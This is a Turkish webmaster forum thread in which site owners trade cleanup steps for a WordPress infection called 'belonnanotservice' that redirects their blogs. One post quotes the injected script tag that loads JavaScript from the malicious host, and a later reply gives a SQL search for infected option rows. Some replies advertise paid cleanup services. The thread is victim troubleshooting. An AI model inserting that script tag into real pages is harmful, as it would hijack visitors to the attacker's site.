belonnanotservice Yeni Bir WP Virüsü

Question

Merhaba arkadaşlar,

Bloglarımın bir kısmı bu siteye yönleniyor wordpress sitelere kod gelmiş galiba. Başka bu sıkıntıyı yaşayan var mı arkadaşlar bu siteye yönleniyor belonnanotservice araştırınca nette 2 gün önce yazılmış ingilizce yazılar var yeni birşey sanırım. Eklentilerden mi geldi nasıl oldu anlamadım konu açayım dedim belki bugün yada yarın aynı sıkıntıyı yaşayan olursa faydamız olur birbirimize.

Edit-1: Eklentileri komple devre dışı bıraktım sorun devam ediyor site başka bir adrese yönleniyor. Eklentileri komple sildim sorun devam ediyor.
Edit-2: Default temaya geçtim sorun düzeldi. Ana temaya kod eklenmiş olmalı bulup temizleyeceğim.
Edit-3: Head kodlarına eklemişler aşağıdaki kodu sildim düzeldi.
Edit-4: Eğer wp admin panele girebiliyorsanız şanslısınız head kodları arasındaki aşağıdaki kodu silin düzelir siteniz sonra şifre değişikliği vb. güvenlik önlemlerinizi alın. Bir diğer versiyonu var site linkinizin geçtiği tüm kodları belonnat olan ile değiştirmiş son sağlam yedeğe döneceğim değiştirmekle bitmiyor çünkü maalesef imkansız gibi birşey.

<script type='text/javascript' src='https://stat.belonnanotservice.ga/get.js?v=2'></script>

OOWC · Accepted Answer

biracayipadam adlı üyeden alıntı:						mesajı görüntüle									Ayni sorunu 3 gun once yasadim. Gunluk ciddi hiti olan bir sitem ayni bu halde ciddi zarar aldi. Sunucu saglayicim birkac islem ve tarama ile sorunu o anlik gidermisti. AMA; maalesef sorun giderilmemis aksine daha fazla zararli olacak duzeye gelmis. Bugun bu konu ile ilgili @Empat; hocamla iletisime gectim ve sorunu kokten cozdu. Gerekli islemleri yapip guvenlik onlemlerini de aldi. Iletisime gecmenizi oneririm. 		Teşekkürler. Memnun kaldığınıza sevindim.
Zararlı yazılım (belonnanotservice) wordpress core dosyaları, wp-content altındaki dizinler ve veritabanında kendini klonlamıştı. Dosyalar için gerekli işlemleri sağladım ve veritabanında 2 SQL sorgusuyla 2 tablodaki 1000'den fazla virüslü linkle değiştirilmiş sütun değerini normal hale getirdim. Ardından manuel kontrolleri sağladım ve en güçlü firewall'ı sunan wordfence eklentisiyle gerekli güvenlik önlemlerini aldım. Sorunun tekrarlanmayacağını tahmin ediyorum. Belirli süre içerisinde tekrarlanırsa ücretsiz destek sunacağım.

CliaWeb · Answer

Daniel1336 adlı üyeden alıntı:						mesajı görüntüle									Merhaba arkadaşlar,

Bloglarımın bir kısmı bu siteye yönleniyor wordpress sitelere kod gelmiş galiba. Başka bu sıkıntıyı yaşayan var mı arkadaşlar bu siteye yönleniyor belonnanotservice araştırınca nette 2 gün önce yazılmış ingilizce yazılar var yeni birşey sanırım. Eklentilerden mi geldi nasıl oldu anlamadım konu açayım dedim belki bugün yada yarın aynı sıkıntıyı yaşayan olursa faydamız olur birbirimize.

Edit-1: Eklentileri komple devre dışı bıraktım sorun devam ediyor site başka bir adrese yönleniyor. Eklentileri komple sildim sorun devam ediyor.
Edit-2: Default temaya geçtim sorun düzeldi. Ana temaya kod eklenmiş olmalı bulup temizleyeceğim. 		Merhaba Daniel1336,

Wordpress açık kaynak olması gereği bir çok açığa müsait exploitleri neredeyse her ay yayınlanan bir içerik yönetim sistemidir. Wordpress i güvenli hale getirmek için mutlaka ama mutlaka "katı kurallar içeren" mod security / waf hostunuzda en güncel hali ile aktif olmalıdır.

Virüs bulaşan wordpress siteniz için aşağıdakileri deneyebilirsiniz;

https://www.cliaweb.com/knowledgebas...temizleme.html
https://blog.cliaweb.com/wordfence-m...temizleme.html

Veya imunify360 ile taratabilirsiniz.

İyi çalışmalar.

iyimakale · Answer

aynı problem 4 sitemde mevcut

RifatOzkan · Answer

imunify360  malesef yeterli olmuyor.

iyimakale · Answer

Database 3 farklı yerde buldum. wp-options,users ve ne hikmetse yoast linklerinde. Tam çözersem yazarım.

RifatOzkan · Answer

iyimakale adlı üyeden alıntı:						mesajı görüntüle									Database 3 farklı yerde buldum. wp-options,users ve ne hikmetse yoast linklerinde. Tam çözersem yazarım. 		db de bulman bırseyı degıstırmıyor db baglanıp tekrar eklıyorlar options tablosunda site linki kısmına

OOWC · Answer

Bir müşterimde karşılaştım. Veritabanında virüsün yönlendirdiği ilk siteyi aratın. Virüs kendini veritabanında klonluyor.

Güvenlik optimizasyonu ve virüs temizleme için profesyonel destek talep eden olursa yardımcı olabilirim: 
R10 ticaret konusu (paket içerikleri güncellenecek): https://www.r10.net/wordpress-seo-gu...li-hizmet.html
Hizmet detay sayfası (güncel): https://www.onurozden.com.tr/hizmet/...-optimizasyonu

Daniel1336 · Answer

Klasörlerden uploads dahil ne varsa siliyorum sadece database bağlantısını sağlayan wp-config kalıyor default wp dosyalarını atıyorum yine virüse yönleniyor. Komple database dahil sunucudan kaldırıp sonra tekrar sıfır wordpress kurup son stabil yedeği kurdum tekrar sorun yaşadım. Dün 3. Kez yedekleri kurdum şüphelendiğim eklentileri sildim, kullanıcı parolaları zorlaştırdım değiştirdim. İnşallah tekrar olmaz. Bir eklentiden şüpheleniyorum yoksa 3 ayrı firmadaki sunucuda başıma geldi tek ortak nokta bu eklenti gibi duruyor.

RifatOzkan · Answer

Daniel1336 adlı üyeden alıntı:						mesajı görüntüle									Klasörlerden uploads dahil ne varsa siliyorum sadece database bağlantısını sağlayan wp-config kalıyor default wp dosyalarını atıyorum yine virüse yönleniyor. Komple database dahil sunucudan kaldırıp sonra tekrar sıfır wordpress kurup son stabil yedeği kurdum tekrar sorun yaşadım. Dün 3. Kez yedekleri kurdum şüphelendiğim eklentileri sildim, kullanıcı parolaları zorlaştırdım değiştirdim. İnşallah tekrar olmaz. Bir eklentiden şüpheleniyorum yoksa 3 ayrı firmadaki sunucuda başıma geldi tek ortak nokta bu eklenti gibi duruyor. 		phpmyadmin den options tablosundaki url değiş.
süplendıgın eklentı nedir?

biracayipadam · Answer

Ayni sorunu 3 gun once yasadim. Gunluk ciddi hiti olan bir sitem ayni bu halde ciddi zarar aldi. Sunucu saglayicim birkac islem ve tarama ile sorunu o anlik gidermisti. AMA; maalesef sorun giderilmemis aksine daha fazla zararli olacak duzeye gelmis. Bugun bu konu ile ilgili @Empat; hocamla iletisime gectim ve sorunu kokten cozdu. Gerekli islemleri yapip guvenlik onlemlerini de aldi. Iletisime gecmenizi oneririm.

Daniel1336 · Answer

Empat adlı üyeden alıntı:						mesajı görüntüle									Teşekkürler. Memnun kaldığınıza sevindim.
Zararlı yazılım (belonnanotservice) wordpress core dosyaları, wp-content altındaki dizinler ve veritabanında kendini klonlamıştı. Dosyalar için gerekli işlemleri sağladım ve veritabanında 2 SQL sorgusuyla 2 tablodaki 1000'den fazla virüslü linkle değiştirilmiş sütun değerini normal hale getirdim. Ardından manuel kontrolleri sağladım ve en güçlü firewall'ı sunan wordfence eklentisiyle gerekli güvenlik önlemlerini aldım. Sorunun tekrarlanmayacağını tahmin ediyorum. Belirli süre içerisinde tekrarlanırsa ücretsiz destek sunacağım. 		Wordfence bende fayda etmedi. Klasörlerin yazma ve okuma izinlerinde bir işlem yapmak gerekir mi acaba ek olarak ben şimdi onu da yapmayı düşünüyorum.

OOWC · Answer

Daniel1336 adlı üyeden alıntı: mesajı görüntüle

Merhaba arkadaşlar,

Bloglarımın bir kısmı bu siteye yönleniyor wordpress sitelere kod gelmiş galiba. Başka bu sıkıntıyı yaşayan var mı arkadaşlar bu siteye yönleniyor belonnanotservice araştırınca nette 2 gün önce yazılmış ingilizce yazılar var yeni birşey sanırım. Eklentilerden mi geldi nasıl oldu anlamadım konu açayım dedim belki bugün yada yarın aynı sıkıntıyı yaşayan olursa faydamız olur birbirimize.

Edit-1: Eklentileri komple devre dışı bıraktım sorun devam ediyor site başka bir adrese yönleniyor. Eklentileri komple sildim sorun devam ediyor.
Edit-2: Default temaya geçtim sorun düzeldi. Ana temaya kod eklenmiş olmalı bulup temizleyeceğim.

Buzgibi · Answer

wordfence kurdum ben direk durdurdu options tablosunu güncellemeyi

database de şu mevcut

SELECT*FROM`databasename`.`wp_options`WHERE(CONVERT(`option_id`USINGutf8)LIKE'%belonnano%'ORCONVERT(`option_name`USINGutf8)LIKE'%belonnano%'ORCONVERT(`option_value`USINGutf8)LIKE'%belonnano%'ORCONVERT(`autoload`USINGutf8)LIKE'%belonnano%')